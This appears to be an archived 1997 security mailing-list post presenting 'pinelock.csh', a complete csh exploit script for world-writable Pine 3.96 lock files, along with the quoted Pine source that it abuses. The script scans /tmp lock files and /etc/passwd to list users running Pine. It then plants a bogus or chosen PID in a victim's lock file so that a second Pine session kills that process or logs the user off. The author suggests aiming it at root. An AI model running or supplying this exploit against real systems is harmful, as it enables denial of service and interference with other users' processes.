pinelock.csh exploit

Roger Harrison ? (rharri01@KEPLER.POLY.EDU)
Tue, 02 Dec 1997 22:33:30 -0500

There was something a while ago on bugtraq about pinelock
files and how they were mode 666. This program I wrote takes this idea
and brings it a step further into an easy way to show why this is a
problem. My program <pinelock.csh> allows you to log off a user or kill
one of their processes IF they open up a second session of pine. It
isn't terribly useful, except for annoying a user. However, if root opens
up two sessions of pine, I can think of some interesting processes and
daemons which might be killed. Copies of this program will be stored
at http://kepler.poly.edu/~rharri01/. Click on files and
then click on pinelock.csh. Have fun!

-Iconoclast
iconoclast@thepentagon.com

------------------------cut here------pinelock.csh-------------
#!/bin/csh -f
#pinelock.csh
#Written 12/97 by Iconoclast -> iconoclast@thepentagon.com
#This program can exploit the vulnerabilities of pine lock files in version 3.96
#which are mode 666 to log a person off or kill one of their processes if a second
#instance of pine is started. It only works if they open a second session of pine.
#It could be useful if root likes to open up two sessions of pine...

#The kill occurs in the files bezerk.c and mmdf.c as seen in the code fragment from
#pine below:
#
# /* can get the lock? */
#else if (flock (fd,LOCK_EX|LOCK_NB)) {
# if (retry-- == KODRETRY) {/* no, first time through? */
# /* yes, get other process' PID */
# if (!fstat (fd,&sbuf) && (i = min (sbuf.st_size,MAILTMPLEN)) &&
# (read (fd,tmp,i) == i) && !(tmp[i) = 0) && (i = atol (tmp))) {
# kill ((int) i,SIGUSR2);
# sprintf (tmp,"Trying to get mailbox lock from process %ld",i);
# mm_log (tmp,WARN);
# }
# else retry = 0; /* give up */
# }
# close (fd); /* get a new handle next time around */

#Notes on files created
#/tmp/aa temp list of lock files
#/tmp/bb user id's
#/tmp/cc /etc/passwd entry
#/tmp/dd pine lock file names
#/tmp/ee pids within lock files
#/tmp/ff user names
#/tmp/gg count of users running pine
#/tmp/hh final parsed output
#/tmp/jj processes
#/tmp/kk parsed processes
#/tmp/ll temp storage for pid and garbage
#/tmp/mm actual pid we want to kill
#/tmp/nn parsed numbers and processes
#/tmp/oo list of just pids

clear
ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp
awk '{print $3}' /tmp/aa > /tmp/bb #get user name of each file
awk '{print $9}' /tmp/aa > /tmp/dd #get list of names of lock files
touch /tmp/cc /tmp/ee /tmp/gg #create files so we don't run into trouble
#in the foreach loop when we do ">>"

foreach i ( `cat /tmp/bb` )
grep $i /etc/passwd >> /tmp/cc #search /etc/passwd for user name
end

awk -F: '{print $5}' /tmp/cc > /tmp/ff #get person's name from user name

set k=1
foreach i( `cat /tmp/dd` ) #go through lock file names
echo $k >> /tmp/gg #generate sequential numbers
set k = `expr $k + 1` #increment count by 1
cat /tmp/$i >> /tmp/ee #get pid within each lock file
echo "" >> /tmp/ee #new line
end

paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh

echo "The following users are running pine:"
echo ""
echo "#" lock file pid " " uid " " user name
echo "--------------------------------------------------"
cat /tmp/hh #this is the parsed data
echo ""
echo "Pick from the choices below."
echo "1) Try to log them off"
echo "2) Try to kill a process"
echo "3) Exit"
echo -n "Choice:"
set input = $<

if ("$input" == "3") then
cd /tmp
rm -f aa bb cc dd ee ff gg hh
exit
endif

if ("$input" == "1"||"$input" == "2") then
echo -n "Pick a number you'd like to try:"
set number = $<
set k=0
foreach i (`cat /tmp/dd`)
set k = `expr $k + 1`
if ("$k" == "$number") then
set filename = $i
goto label
endif
end
endif

label:
if("$input" == "1") then
echo 99999999999999999999999999999999 >! /tmp/$i #32 9's in lock file
echo "Kill code has been inserted\!"
endif

if ("$input" == "2") then
echo '' >! /tmp/$i #remove old pid
echo "Below are the processes the person is running:"

ls -la /tmp/$i > /tmp/ll
awk '{print $3}' /tmp/ll > /tmp/mm #/tmp/mm has uid
set uid = `cat /tmp/mm`

/bin/ps -ef|grep $uid > /tmp/jj

#number generator and paste.
awk '{print $1}' /tmp/jj > /tmp/kk #amount of processes
set k=1
rm -f /tmp/gg
touch /tmp/gg
foreach i( `cat /tmp/kk` )
echo $k >> /tmp/gg #generate sequential numbers
set k = `expr $k + 1` #increment count by 1
end

paste -d " " /tmp/gg /tmp/jj > /tmp/nn
cat /tmp/nn
echo -n "Pick a process:" #choose process we want to kill
set number2 = $<
awk '{print $3}' /tmp/nn > /tmp/oo #put pids into a file

set k=0
foreach i( `cat /tmp/oo` ) #find pid we want
set k = `expr $k + 1`
if ("$k" == "$number2") then
goto label2
endif
end

label2:
echo $i >! /tmp/$filename #put pid into lockfile
echo "Kill code has been inserted\!"
endif

cd /tmp
rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files
cd #put you back in home dir
----------------end cut------------------

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzNmUI4AAAEEAODKLXdOCW9uEYLv8A+HWa9ZP12frN1aDUsjD5sLtpFqhW1G
S2lfbIL48+jjufsZPIuwhpL9kcTI2F09cByDqPdygz+OPaiq1VmHd21MR85VgAr+
xlq2fzd1NIctooBl3cZIkTYLYSbYWvgYKcP+LoyjqAhXmqrXd5qYW25wwG2NAAUR
tBo8cmhhcnJpMDFAa2VwbGVyLnBvbHkuZWR1Pg==
=gF+6
-----END PGP PUBLIC KEY BLOCK-----